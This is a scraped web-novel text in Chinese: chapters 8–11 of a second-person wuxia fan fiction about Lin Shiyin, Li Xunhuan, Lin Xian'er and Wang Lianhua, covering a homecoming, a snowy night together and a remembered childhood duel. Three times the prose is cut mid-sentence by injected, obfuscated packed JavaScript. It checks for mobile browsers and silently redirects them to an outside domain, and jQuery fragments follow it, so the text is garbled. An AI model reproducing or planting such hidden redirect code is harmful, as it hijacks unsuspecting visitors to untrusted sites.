自开私教班以来,你有时候怕自己给她的训练太重,她会吃不消,她却笑得肆意:“这点疼算什么?还没有我爹打我打得狠。” 你便不说什么了。 一周很快过去,她的训练量太大,也没有精力东想西想。 反倒是你会时不时看向门口,想着离元宵已经没有两日,李寻欢却还没有回来——他那样守信的人决不会违约,总是早早地做好准备的。 一日,你正在教林仙儿用剑时,你的心突然好像被狠狠一拽,以至于你拿剑的手都颤抖了——那感觉来得快去的也快,不像是身体在预警,反倒是冥冥中与亲人的联系。 你很是担忧李寻欢遇到了什么危险,因而欲出门寻他,却不料林仙儿莫名感染了风寒,在床上发着高烧,一脸惨淡虚弱地叫着“姐姐”。 你便也不能就这样将她留在李园,只能天天守着她。 你不擅长照顾病人,可你以前也在病中曾被人温柔地照顾过,便也学会了她人教给你的温柔。 就这样照顾着照顾着,你等到了李寻欢回家的那日——那时早过了元宵。 你没有因为李寻欢爽约而生气,反倒放下了一直担忧的心。 你看见清瘦了许多的男人,面容苍白柔美,却因为路途中疏于打理而显得疲惫,你的手触上了他脸上来不及修的青色胡茬,掌心里刺刺的,心中也仿佛被密密麻麻的胡茬刮刺着,他的手覆盖住了你的手。 尽管他不说,但从他的走姿以及拥抱你时的程度,你就知道他身上带着伤。 他那熟悉的气息里,掺杂了些药与血的味道。 于是你就也知道,当初你受伤,他也一定看穿了,他只是体贴地没有问你。 后来,林仙儿不知怎的知道了这事,她同你道:“他是没有问你,他问我了,我说你在青楼受了欺负,他就赶过去断了当天所有埋伏在那里人的手脚……区区断手脚罢了,自然不比姐姐你出手的果断。不过让那群人这样活着,倒比叫他们死了更痛苦。” 你惊讶于你所不知晓的事,却不惊奇:因为如果有人要伤害你的亲人,你也会这样的。 你当时并不愿在李寻欢回家的时候多问他经历了什么,除非他自己去说,否则能够平安归来就足矣,何苦再去回忆那些艰难痛苦呢? 你只笑道:“你来的路上,乡邻可曾与你闲谈叫你感受几分归乡热情?” 他也笑了:“龙兄还问是不是我在家乡做了多好的事情,才叫乡里乡亲这般惦记,我说我只不过是借了我表妹的光……对了阿音,这是我结识的义兄弟龙啸云,是他一路照顾我归家的。” 你这才注意到他身后拿着一柄银枪的男人,对他微微颔首,却不料对方出神地看着你,那久久不移开的视线令你察觉出了什么。 你不是自作多情的人,但也并非是粗神经的人,你曾见过许多双爱慕的眼,亦知道如何斩断那些爱慕。 于是你只故作豪迈地笑着道:“多谢啸天兄弟。” 李寻欢敏锐地感知到你与平时不同的无礼的针对性,咳嗽了两声提醒你,你瞥了他一眼,不允许他提意见,他便不敢再做声了。 龙啸云则好似惊醒一般,尴尬地对你点头:“抱歉,在下方才出神,我叫龙啸云,早听李兄弟说起家中表妹聪颖灵秀,今日一见当真简直难忘,倒是失礼于阿音妹妹了。” 李寻欢又咳嗽了一声,低声提醒他道:“阿音自幼不喜人叫她妹妹的。” 龙啸云神色一僵,一时口讷。 你假笑道:“太客气了,云龙兄弟,我们倒也未曾相熟,不必以姐妹相称的。” 李寻欢再次咳嗽着和你低声道:“啸云,咳咳,是啸云兄弟。” “你看你,咳嗽就别说话了。”你不管李寻欢伤势,直接拍了拍他受伤的背,在他忍痛的闷咳里你体贴道,“外面风大,进去再谈吧。” 进了园后,你见李寻欢有意招待龙啸云,便对李寻欢道:“姑娘们已经做了些小菜,仙儿生病了住在我楼里,你们先吃饭,不用管我,我同她一起用餐。” 说完,也不管李寻欢有什么反应,就回了自己的院子。 你端着饭菜踏入楼里推门进房之前,正听见林仙儿的房里面有些响动,等你推门,只见匆忙躺下盖起被子的林仙儿已经闭上了眼,你淡淡道:“不必睡了,先起来吃饭吧。” 她便似才醒一般:“姐姐?这是什么时辰了?” 说着她坐起身来,然后皱眉捂住了头:“啊……好晕。” “……” 你将饭菜放下,一脸平淡地看她表演。 只见她纤纤弱弱地从床上下来,飘也似的到桌边坐下,捏起勺子时小拇指翘起一个白玉兰似的尖,她先是将勺子送到唇边,却又难掩心中所想般哀愁地放下,道:“仙儿若不是病着,本来也该同姐姐去迎小李探花的,不知他是否心里怪罪仙儿了……姐姐去陪他就是,仙儿这边孤寂一时半会儿也无妨的。” 声音是真真个哀切,叫人听了好不心疼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988555|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>你淡淡道:“他倒另有他人要陪的。” 听闻你语气中的阴阳怪气,她讶异地看了你一眼,你的阴阳对她而言实在是很稀奇的事情。 你见她好奇的脸上已经流露出猜测的神色,便随口同她道了方才的事。 “真是没有眼力见的无礼男人!”林仙儿的眉头一蹙,见你神色淡淡,又平眉叹道,“小李探花可真不是个男人,若是我方才在边上,知道有癞虫合蟆惦记着你,早破口大骂了。姐姐不必为男人伤怀。” “倒不是因为此事。” “那是怎么了。” “我觉得方才那一幕……即视感太强,就像之前有类似的情况发生过一般。” 话说,被觊觎未婚对象这件事是不是才发生过啊? 林仙儿:“?” 你思索着抬头,就见林仙儿有些疑惑地专注看你,她的睫毛天生就浓翘,看过去眼角自带眼线,加之她的眼睛大而亮,瞳色是朦胧的柔棕色——她坐在那,就像一个漂亮的娃娃似的,不像真人。 然后这个娃娃最近还时不时和你来一句:“姐姐好~别人坏。” 你忍不住用手指戳了戳她因咀嚼而稍稍鼓起的脸颊,虽然她这些日子过得辛苦,可她仍然长肉了,高了,也胖了,所以变得可爱。不过你不敢说,就怕她气恼了开始节食。 你微微笑了,心中的疑惑与莫名的烦恼也消散,成了宽容的温情。在李园的多年,你的脾气好像也柔和了许多,更何况你好不容易等到了要等的人,你怎么会让心中的小小的芥蒂影响你们的关系? * 夜,很深了。 你却没有睡着,若不去见见李寻欢,你是睡不着的。 你料定李寻欢也没有睡着,哪次回家的夜里,你们会错过那晚的月呢? 林仙儿在你身侧,呼吸均匀,已经睡得很熟。你没有吵醒她,手触到了她温热但不滚烫的额头,然后收回。 你轻轻下床,穿过那珠帘,正要从小楼上走下去,却听见了窗户上一声轻响,好像是碎雪从屋檐落下的声音,那么轻,叫梦中的人不会在意。 你打开了窗户,明亮的月光从窗外滑入,扑在了你身上,也晕染在楼下人的身形上,留在地上的是一道的高瘦的影子。 李寻欢穿得很单薄,好像年轻人总是不怕冷的——他仅仅将外袍披在了肩上便来楼下找你。他拿着一束梅花,梅花上的雪早已被仔细擦拭了,他鼻尖和脸颊被夜风吹得泛红,手也红了,他不知道是站了多久,可不见乏色,只因看见你时,欣喜便点燃了眸中的笑意,更添加了几分神彩。 他同你相望,二层楼的高度将你们隔开,距离那么近又那么远。 说距离那么远,是因为他若发声叫你听见,便一定也响到让其他人听见,所以他只是唇动了起来。他笑着做这件事的时候,像是在与你定了一个默契的约。 你分辨着那月色下的唇形,仿佛听得他很轻很轻地喊了一句:“阿音,你想堆雪人吗?” 9. 第 9 章 你自然想起了年前,你也往他的窗户上丢雪球,用他听不懂的话语问他:“表哥?你想堆雪人吗?” 你笑了,你将窗户开得更大,风吹起了你的头发,可你也没有感受到冷。 下一刻,李寻欢原本的笑容在看清你进一步的动作时变成了错愕,以至于他立刻腾臂扔了手中的梅花。 因为你实在不耐走下楼的,你直接翻过了窗户便往下一跃,那时恰是风最大的时候,被卷起的细碎的雪和零落的梅花瓣在向上飞扬,缠绕着你的乌发。 你在坠落——你和李寻欢的距离那么近,是因为只要你跃下去,就能到他的面前。 他向你而来,他同那雪、那风、那梅花一样向你纵来,敏捷而轻盈。 可他却又没有那雪、那风、那梅花般无牵无挂的潇洒——潇洒的是你,不管不顾的也是你,承重和容纳的则是他,于是你同花和雪都入他的怀中。 风小了。 他接住你,落地,眸里的惊慌未散:“阿音你……” 你却已经高兴地笑出了声,脚也快活地凌空拨动了两下:“刺激刺激,还想再来一次。” 他口中所有的教导便成了无奈的一笑,他放下了你,将你发上的梅花瓣取下。 你想起了刚才的那瞬间,冷幽默道:“我刚才是不是该按台词那样说‘go away 表哥’?” 他替你擦去脸颊上的雪花,随口问道:“那是什么?我记得你教我说过,可你不曾告诉我意思。” “是‘快走开’的意思。” 你的话语说着“走开”,可语气是截然不同的甜腻,尾调像是带着一个小小的勾子。 于是你一边说着,手却环住了他的脖子,看着他被勾住的眼神与嘴角,听见他那略快的心跳。 李寻欢便也将你圈在了怀中,他低着头,抵着你的额头。 他的影子落在了你的身上,你的视线变得昏暗,可你抬头,鼻尖快碰到鼻尖的距离,你却仿佛看见了他那双明亮如绿潭的眼睛,是春柳弄湖的柔情。 他的声音几乎蹭上了你的耳朵,没有过多的暧昧,只是像从前做过千百遍那样呼吸一般自然的亲昵,他指控时的语气也是那样软、那样柔,他说:“你怎么能叫我走开呢?我又怎么会叫你走开呢?” 你的脸被气息扑的有些痒,忍不住笑着松开手推了推他,手才有空抹一把脸。 他佯装被你推得倒退了几步,好叫你放下手后能看清他被冷落的可怜。 可你只是在笑,于是他只能罢演,上前再次将你拢了回来:“我恨不得永远跟在你身边。我永远不会让你走开。” 这次,他将他的下巴抵在了你的肩上,离你的距离就更近了,他低低地叹道:“我们该永远在一起的。” 那话语里是浓浓的庆幸和情意。 你本该说他肉麻,可却能从他归家的日期、他的伤、他如今外显又后怕的话语中,猜测出他经历了九死一生。 你的手指不由自主地挑开了他肩上的外袍,衣袍落地,他没有去管;你的指尖滑向他的身躯,他似乎微微一动,却也没有阻止你。 月光下,他高高的影子显露出美好的腰线。 他只是抱着你,直到发现你的手指是隔着衣物在寻找凹凸的绷带痕迹时,才松开怀抱握住了你的手指。 你任由手指在他手中贪恋着温度,抬头问他:“会疼么?” 他摇摇头,开口笑道:“不疼,看见你就不疼了。甚至现在还有力气同你去堆雪人。” 他不愿让你担心,于是岔开了话题,你便也任由他岔了开去。 你想要弯身捡起衣袍替他披上,他拦住了你,自己捡了起来,轻轻抖了抖,却没有披在自己身上,而是罩在了你的肩头:“夜深了,你该多穿些的。” “那么你呢?这天寒地冻的,你就不怕冷么?” “我是男儿,身强体壮的不畏寒,可是你从小就有咳疾,不可受寒。” 咳疾么?那是很久以前的事情了。你微笑着把袍子一转,重新给他披上,自己却依偎入了他的怀中,袍子同时盖住了你们俩。 你感受到了他胸腔的轻微震颤,他总是见着你便笑,那么你呢?唇角似乎也是压不住的。 你宽慰他道:“自从遇见神医给药,我已经很多年没有再犯病了。” “可我永远记得……你那时咳得已经喘不过气来,脸呛得通红,喝的什么药都不管用,最后只会被你吐个干净。” 遥想起很难熬的那段日子,你也不太好受,病痛毕竟是很折磨人的事情:“后来再吐不出什么东西,便是咳出血水,我还以为我要死了。临死前我想去看看山中的野梅,但料想家人都是不允许的,我就哄骗了你,叫你在夜里背着我去。” 那夜的风可真大,雪如鹅毛似的。你一直在咳,他一直在走,你越咳,他便走得越快,在风雪中背着你跑向山去。到了山上,他的头发、睫毛上都积了白雪。 “……” 你感受到了李寻欢的怔愣。 李寻欢问道:“你当时、你当时还那么小,心里便压着那么沉的担子么?可你总在笑,我原以为,你那样乐观,是从没想到那么可怕的事的。” “想到死,便是什么沉重的担子吗?” 你并不害怕死,快乐也是一天,害怕也是一天,那么为什么不能在生命的最后留下更多美好的回忆呢? 可是李寻欢做不到如你一般豁达。 “你正年轻着,今后莫要再提死字了,我宁可生离,也不要……不,我两个都不愿意的。” 月色果然能让人变得旖旎,却又多愁善感,让爱笑又潇洒的人变得黏黏缠缠。 你为他直白的话语沉默了片刻,安静感受夜色下他带来的暖意。 说来惭愧,你道:“那时我只想在最后的日子里过得快活些,便总是使唤你、欺负你。” 小时候的你很想惹小李寻欢哭泣,但是他从没有被你气哭过,总是帮你做了事还傻乎乎地对你笑。 “我从不觉得那是欺负,你需要我,我开心得紧。”他笑了,笑声不再同孩童那样傻,是很俊秀通彻的笑,“若不是你让我背你去山上,又怎么会遇见神医?你怎么会好起来?” 他说:“你可曾记得那时你心情好了,便会给我讲故事,我记得你给我讲过雪孩子的故事,她在火中救了兔子精,便飞到天上作了云。我很害怕,我害怕你熬不过那个冬天,也会 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你被夸得老脸一红,然后得意地“唉”了一声:“我果真是天生丽质难自弃,不怪乎把小李探花迷得辗转反侧、夜不能寐。” 他又笑了,笑出了声。你曾将他比作桂树,如今他这棵树简直是笑得要把花都撒落了。 “怎么?我说的很好笑吗?” “不,我只是觉得你真是可爱极了!”他说,“你说的太对了!” 于是你就像发言后获得选票一般力作谦虚的泰然模样:“谢谢,谢谢你对我的支持。” 只是你把感谢的鞠躬给改了,换作踮起脚在他的笑容上轻轻一吻。 他一愣,想要说些什么时候,你已经退出了他的怀抱,从地上抓了一把雪“唰”地丢向了他:“看暗器!” 他被猝不及防地打中了心口,表情还没回过神来呢,你哈哈哈地幸灾乐祸:“少年郎,人在江湖走,还是小心美人计为好。” 他气笑了,笑意多,气恼少,但仍然做弯腰捡团雪状,似乎要来扔你:“在理在理,在下可是要吸取教训了。” ——这可不行,你难道还能让他发挥所长么? 于是他一抬头,就见你已经凑到了他面前,眨巴着眼睛卖萌,小心讨好地对他伸出双手:“谢谢李公子不计前嫌,愿给在下的‘雪人大计’添砖加瓦。” 说罢,从他的手中硬是拢过了雪,颠来倒去地团成一个球形,这样他便没有“暗器”了。 你随意又按了一个小雪球在原本的球上,然后放在了一根粗粗的梅花树枝上,开心地指着这奇形怪状的雪堆对他道:“这是你!像吗?” “像吗?”李寻欢知道你明明手艺很好却又戏弄他,习惯成自然地耸了耸肩,没好气地反问你一句,唇角却又释了笑。 他将自己做成的小雪人放到了你做的雪人边上:“这就是你。” 你做的雪人是一个是潦草的雪渣混合物,只能从两团雪的接触点看得出是人为创造的;而他的雪人是两个圆滚滚的雪球拼成,玲珑可爱,白玉似的。 两个雪人排排坐在树枝上,安静地看着并立在雪中的你们,仿佛也在笑。 10. 第 10 章 你瞥了李寻欢一眼,灵机一动,便装作很有礼貌地对雪人说道:“哦~林诗音你好,你真可爱。” 说完,你笑眯眯地看向李寻欢,眼中闪过一丝狡黠:“该你了。” 李寻欢犹豫了片刻,无奈地对你做的雪人道:“李寻欢,你……你还是很丑。” 他早已看出了你的阳谋,却宁愿说自己丑,也不愿说你做的雪人好看的。 你故作遗憾地叹了口气,将一朵梅花轻轻放在“林诗音”的头上,幽幽道:“唉,可惜了,真真是好一个鲜花插在了牛粪上。” 你本意是指“李寻欢”和“林诗音”一丑一美,却不料你的动作实在有歧义,李寻欢意意味深长地看了一眼“林诗音”和梅花,挑眉又看向你,眼中带着几分戏谑。 你:“?” 你反应过来,气得给“李寻欢”戴了整整两朵花,那本就丑萌的雪人戴着两朵红艳艳的梅,像是长出了两个年娃娃的发髻团,越发滑稽可笑。 李寻欢见你气恼,却没有安慰,反而笑意更浓,在一边给你递更多的梅花,一边怂恿你继续欺负“李寻欢”出气:“多戴些,这是管够的。” 他不说还好,一说你更来气了,索性抓了那一把李寻欢采下的梅花瓣,扔在在了他脸身上。 花瓣纷纷扬扬,落在他的眉眼间,滑过他高挺的鼻梁上。月下,他的肌肤如玉般通透,俊美得像只精魅,狠狠戳中了你的审美和xp。 后面的事你有些不记得了,只知道你扬了几乎所有开着的梅花,追着他满园跑,只为泼向他。他在跑,你便追,雪地上留下一串串凌乱的脚步和欢快的笑声。 * 第二日,你免不了起迟了一些。 等你穿好衣服下楼,只见一地的梅花碾入雪中,林仙儿站在一棵树下不知道在看些什么。 听见你的呼唤,她似乎吓了一跳,她转过身时,露出地上一团从树上落下的雪堆,那凸起的圆球形状正是昨晚你和李寻欢做的小雪人。 她看着你,张了张口想要解释什么,你已经有些可惜道:“春天快来了,雪要化了啊……” 不过你很快振奋起来,兴致勃勃地说道:“这样就可以少穿一些了,我们去看看春装吧!” 她愣了愣,抿唇露出一个轻松的微笑:“好……但是姐姐,有客人来拜访,小李大人带着那姓龙的出门逛逛,一个早上了还没回来。” “那便由我去接待吧。”你同她一道向前厅走去,“你可知来人是谁?” “我问了,但是他只说自己姓王,是沈浪沈大侠的好朋友。” 听得她这样一说,你已经知晓来人是谁。元宵已过,故人上门想来不会是拜年的,你不知道他上门前来所谓是何事,却也不慌不忙。 你只笑林仙儿:“原来你知道沈大侠,却不知道他那姓王的朋友么?” “仙儿以前不过问江湖中事,可能酒肆坊间也听人谈起过吧,不过进了我耳朵后过滤一遍就忘记了。我是方才同园里的老人打听过,说那沈浪沈大侠曾在李园住过一段时间……姐姐,我觉得他同你曾经说的那个朋友真像。” 林仙儿聊天聊着聊着,不知话题怎么就歪了过去。 你不解其意,她就解释道:“听老人说,他是‘九州王’沈天君的后人,长江后浪推前浪,沈浪之后的成就更是远超其父,被誉为‘天下第一名侠’。按理说他出生百年武林世家,料想哪怕幼年父母双亡,日子过的也不会太差。可他还是个孩子的时候,就散尽家财赠予仁义庄,浪迹江湖……这和姐姐说的朋友不也很像么?明明家世优渥,可以养尊处优,却偏偏不愿意如此,真叫人嫉妒又……又佩服。不过,仙儿如今的格局就摆在这儿了,我的嫉妒和无语更多一些,为什么这些不能是我的呢?” 林仙儿现在聊天,真的是坦率得让人怀疑她药劲还没过。 你哑然失笑,反问道:“为什么不能是你的呢?你能做上创一代啊,可比他们富几代的强多了。” 林仙儿于是又眉开眼笑了:“姐姐总是这样高看我。对了,姐姐,你见过沈大侠的模样吗?是不是同传闻中一样好看?” “那是我很小很小的时候了,我确实见过那个大哥哥的,约是大我十几岁的样子——” 沈浪同你表姑父算是忘年交,他还指点过李寻欢功夫。只是那时你也初来乍到,带着一股寄人篱下的别扭劲,也不算和他熟悉。不久后沈浪离开了李园,你便再没有见过他。如今你唯一的印象是,他是个性格很好的少年,或许是好看的,具体长什么样子你却已然记不清了。 林仙儿没有听到她想要的,却也不失望,她顿了一顿,仿佛想到了什么,微笑变得动人,补充道:“反正前厅等着的也是个很英俊的男人。” 她说着,笑容却淡了一些,眸光闪烁着一种跃跃欲试又像是遇见同类的针锋相对:“不过我不喜欢他。” 她轻轻说:“可我又想变成他。” 她像是放下了什么重担,找到了新的大道一般:“不是所有人都能像姐姐和沈浪一样光明磊落、洒脱不羁的。我们小人,也有小人该走的路。” ? 她刚才是说了什么很不得了的话对吧? “你是被他欺负了么?你究竟是在骂他,还是在骂你自己?” 这次轮到林仙儿失笑了,她似是而非道:“我没有被欺负,我只是不喜欢他。姐姐,你要小心他,他……” 话没有说完,便戛然而止,因为你们已经快走到前厅。 你见到了那个身穿绯色衣服的男人。 他对你一笑,宛若狐狸演出一副有礼貌的样子似的,乖巧中带着诡异感。 他说:“好久不见。” “……” 你有些拿捏不准该叫他什么,想起从前他的提醒,便称呼了他的名字:“新年好,王怜花。” 其实你们距上一次分别并不久。 * 早在林仙儿来李园前,你就见过王怜花。那时候李寻欢刚外出不久,管事的告知你王怜花前来访李寻欢且似乎急着离开。 你匆匆赶到会客厅时,见到的就是身穿绯色衣服的王怜花。他的衣服是一种水绯色,这种颜色不是浓烈鲜艳,也不是冷清单薄,而是介于这两者间的风流旖旎。那时他背对着你,可仅从身形就能看出他的风度翩翩。 那时你想,敢这样着装的男人,哪怕不是对自己的容貌极具自信,也是很有个性的人。 王怜花听见了你的脚步声,转过身来,于是你看清了他的脸,于是你顿时觉得以他这样的相貌,自信乃至骄纵都是理所应当的: 他容貌精致,眉目如画,你可以想象的出,他年轻时的唇红齿白、风华绝代——是的,你知道他一定没有看上去的年轻了,但是岁月只是褪去了他的青涩,却并没有磨灭他的美丽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988557|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反倒给他增添了一种沉郁的韵味。 王怜花的眼睛如同狐狸似的圆而眼尾微挑,眯眼时好似多情又妩媚,若是瞪圆了就有一种纯良的美丽。若是他用这双眼看向别人,真叫人产生一种幸运降临的感觉。 那时,那双眼睛便看着你,可是感到幸运的并不是你,倒仿佛是他自己。他那原本平静又愉悦的眼好似一口井被投入石块,激起了水花,荡起圈圈涟漪。 他看向你的眼神起先是不可置信,随后仿佛融化了,成了冗杂了各种意味的情感,那眼神实在是复杂难言。你说过你见过很多爱慕的眼神,但你很少见过这种眼神,说是很少,是因为你毕竟还是见过,只是距今已隔着百年的时光。 “你……” 他问你时的声音带着轻颤,仿佛心中有很多情感在激荡,在冲刷那些纷乱的思绪。 不过,他毕竟是经历过大风大浪的人,他很快稳定了情绪,笑着解释道:“你别怕,小姑娘。我只是以为见到了故人……你叫什么名字?” 他的嗓音应当是很清润的,此时却带了些沙哑,让人不由自主也放轻了声音想要回复他。 “我叫……阿嚏!”你忽然捂住口鼻打了个喷嚏,应该是前一夜吹了风,身体还是受了些影响。 你拿了手帕揉揉鼻子,对他道:“抱歉前辈,我叫林诗音。” 哪知你话说完时,对面人的眼尾竟然泛起了殷红,眸光中似乎有晶莹闪烁。 你吓了一跳,心中已经编排了无数你娘年轻时的故事,只恨自己不明白为什么会惹这样的一个美人几欲落泪。 但是美人并没有哭泣,他笑了,那笑容衬着眼角的红、眼眸的晶莹,像是衔珠的红莲。 他就这样久久地看着你,因为他实在好看,你也看着他,本也不忍心打扰他的思绪。 直到他上前一步,看样子是要拥住你,你立刻退后了一步,戒备地看着他:“王老前辈,不知您前来所谓何事?” 他愣住了,像是被你口中的称呼给戳破了一个美梦:“王老前辈?” 他忽的笑了,自嘲一般的笑,像是看见自己血淋淋的伤疤时的嘲弄。 他眉眼间有一种对你无害的戏谑,他看着你,好像想明白了什么,却又不明白一般地确认道:“你在笑我老了吗?是的,你还是当年的风采,可我已经不年轻了……不过,却也不至于变化到你不认识我的地步吧?” 他说他不年轻的时候,带着一种可怜的落寞,让你不由自主地反驳:“不,您不老。” 若这张脸放在现代剧里,会有一大批观众怜惜地帮他说话、安抚他。但是你对陌生人说不出甜言蜜语,你露出了几分嘴笨的模样好让他不至于怪罪你的冷漠。 “那你是还在怪我,你还恨我?” “我……” 你不知从何说起,你确认自己是不认识他的,但他的语气太笃定好像你一定在什么时候见过他一般。 管事的看出你们见的氛围不对,帮你解释道:“阁下,小姐自幼生活在李园,从小体弱多病,很少见外客的。沈浪大侠也是知道的,当年沈浪大侠住李园的时候,小姐还没有桌子高呐!您怕是认错了。” 王怜花的手伸出来想要抓住你手臂,可却在你再次戒备前,又硬生生地停顿住,他看着你,想触碰又不敢触碰的样子像是在对待一个易碎的幻影。 “你……真的不记得我了吗?” 11. 第 11 章 王怜花的眼睛如同深不见底的幽潭,潭中暗流涌动,仿佛能将人无声无息地卷入其中。 你被他的目光吸引,察觉到那双眸子中蕴含的魅惑,却仍旧不自觉地放空了思绪,陷入了回忆。你向来是直觉派,直觉告诉你那漩涡虽神秘却无害,因此你并未反抗——这种行为处事有时会让你陷入阴谋诡计,但你并不想改变,因为你享受险境带来的刺激,那些杀不死你的,终会让你更强大。 你迷迷糊糊地说道:“我……确实见过你。” 王怜花的眼中闪过一丝欣喜,期待着你更多的反应。 * 你年幼时深埋的记忆宛若被风卷起的雪花,一片片覆盖住你的思绪。你仿佛梦回很多年前,那个李寻欢背着你出走的寒冷雪夜。 凛冽的风中,你戴着口罩,裹着厚厚的披风,双手紧紧地揪住李寻欢肩头的衣服,在他的背上不停咳嗽。你们终于登上了山顶,却没想到这样风饕雪虐的夜晚,山顶上竟还有人在赏雪观梅。 那时,你在浑浑噩噩中听见了一声轻挑的笑:“两个可怜的孩子,是什么让你们连夜上山,有家不回?” 李寻欢虽小,却也知道眼前这能在雪夜中煮酒观雪的人绝非寻常之辈,他谨慎地开口:“晚辈的家在山下李园,此次冒雪前来并非有意打扰前辈雅兴,而是想带表妹上山采野梅。” 对面那人说话的声音阴柔动听,语气却好像懒洋洋的毒蛇:“非也非也,听那小家伙的咳嗽声,不像是找野梅,倒像是来找死的。” “阁下是江湖中的能人异士,晚辈言语相敬,可若阁下这般讲话,那也莫怪晚辈无礼了。”李寻欢冷冷道,“话不投机,晚辈摘了野梅就走。” “哦?气性不小,连实话也听不得。”那人哼笑一声,语气却冷了下来,“可你已经打扰了,坏了我的心情,也想轻易就走么?小朋友,你家大人莫非没告诉你山上有恶鬼食人么?” 大自然的喧嚣中,一道凌厉的风破空向你们袭来,在风雪里划出一弯暗紫色的月弧。 换作寻常时间,李寻欢或许能躲开,可此刻他背着你,双腿深陷雪地,行动迟缓,躲避变得极为困难。 你默默地看着这一切,没有要出手的意思。 情急之下,李寻欢单手抽出小刀,向来物急射出去。正听见铮然一撞,刀直射入带雪的梅树,震落一树的红与白。 对面那人惊奇地“咦”了一声,后退一步,接住了回旋而去的武器。 “刷”! 那人展开了到手的武器——是一把黑紫色的折扇,扇骨雕刻着精美的花纹,每一骨的顶端略尖,闪烁着冰冷的幽光。不出所料的话,那扇子的尖端应是淬炼了毒。 “想不到你小小年纪,武功倒是不错,可是你已经丢了一把飞刀,还剩下几把呢?你猜是你的刀多,还是我的手段多?”那人笑了,“这样罢,不如我们各退一步,我放你下山,你将表妹送我玩两天如何?” 回应他的是又一把愤怒的飞刀,以及飞奔而至、从侧处踹向他的李寻欢。那人迅速合上折扇甩开飞刀,又立刻遇袭,不由得神色一凛:“既然如此,就让我指点指点你这小子。” “阿音,抓紧我!” 你的牢牢抓住了李寻欢,好叫他施展腿法时也能腾出一只手。你披风那毛绒绒的帽子为你遮挡风雪的同时,也遮挡住你的视线,你只能透过帽子和李寻欢肩膀中的缝隙,看见那人衣袖上的银线花纹和紫色的扇子。 这个小人像是挑逗一般,故意朝你攻击,他知道怎样才能让李寻欢乱了方寸。 在他们过了第三十招时,你猛烈地咳嗽起来,仿佛再也支撑不住一般,松开了李寻欢的肩膀,向后倒去。李寻欢急了:“阿音!” 他连忙稳住身形,但还是被你带的向后仰去,失去平衡。 于是,你披风那毛绒绒的帽子滑落,你看见了一个极为美丽的大哥哥眯起眼睛一笑。原本还在顾及腿法的他脚尖一点,腾空冲来,找准机会就展开锋利的扇子,攻向李寻欢面门。 千钧一发之际,你却一改脱力的模样,如蛇一般利用腰劲重新直起身,双手甩开早已解绳的披风,向袭来的扇子盖去。那披风好像是深海中的吸血鬼章鱼一般,张开猩红的身体,劈头盖脸地向那人吞去。 你喊道:“松手!点!” 李寻欢应声松手,飞快点住了对面人的穴道——他和你实在是默契极了。 你早已踩到雪地,越过李寻欢,走到近前,仿佛揭幕仪式一般,将那人身上的披风拉下,交给了李寻欢。你看着面前那动也不能动的少年,觉得他好像一个精美的雕塑,他的脸不失为一件艺术品。你好整以暇地掰开他的手,取下他的扇子,他一声不吭地盯着你。 李寻欢在你身后重新将披风为你拢好,给你戴上帽子的时候没忍住在你头顶揉了两把。 你任由李寻欢动作,自己则双手展开扇子,欣赏了那美丽的蝶恋花扇面,又合上了扇子,像调戏良家男子一般,用扇子挑起了那被定住身形者的下巴。你故意将那淬毒的尖端压在他的脖颈前,处于一个触碰但没有刺破的状态。 现在,他不仅不能动,甚至连话也不敢讲,呼吸都几乎不能了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988558|161584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>你说:“你刚才说要玩谁?是我这个病得手抖的可爱女孩吗?” 你的手随着语言刻意一颤,那锋利的扇尖尖在他细嫩的皮肤上滑动了一下。 这天气这么冷,可他却好像很热,额头上已经出现了细密的冷汗。 李寻欢噗嗤一笑,随后假意咳嗽了两声,对他道:“阁下莫怕,我表妹虽然顽皮,但她的手稳当得很,是不会擦破你一点皮的。” 李寻欢说完,又对你道:“阿音,将扇子给我吧,你的手冻红了。” 你将扇子递给了李寻欢,那人便很明显地松了口气,哪想得李寻欢冷声道:“不过我和表妹不一样,我的刀若是出手,总是忍不住见血的。” 你猛地咳嗽起来,你摇手摆开了李寻欢的关切,和他道:“小孩子不要总想着打打杀杀的,你去边上堆雪人玩吧。” 李寻欢:“……” 那人这才彻底松气,他笑着对你道:“不错不错,我以为你哥哥已经是天资出众,不料你更是个拿刀拿剑的好手。小家伙,我方才同你们开个玩笑罢了,若是你们当真了,倒是我的不是。我这个做叔叔的和你们道歉好不好?” 以他的年纪明明是生不出你们来的,却不自称哥哥而是自称叔叔,分明是想在辈分上占个便宜。 你卖萌地歪歪脑袋,学着他的语气开口:“叔叔,你喜欢开这种玩笑啊?那我也和你开个玩笑好不好?我只是不喜欢见血,又不是不喜欢恶作剧。这山上也没个人影,要是谁把你从这里推下去,也只能怪你喝醉了不小心。” “……” 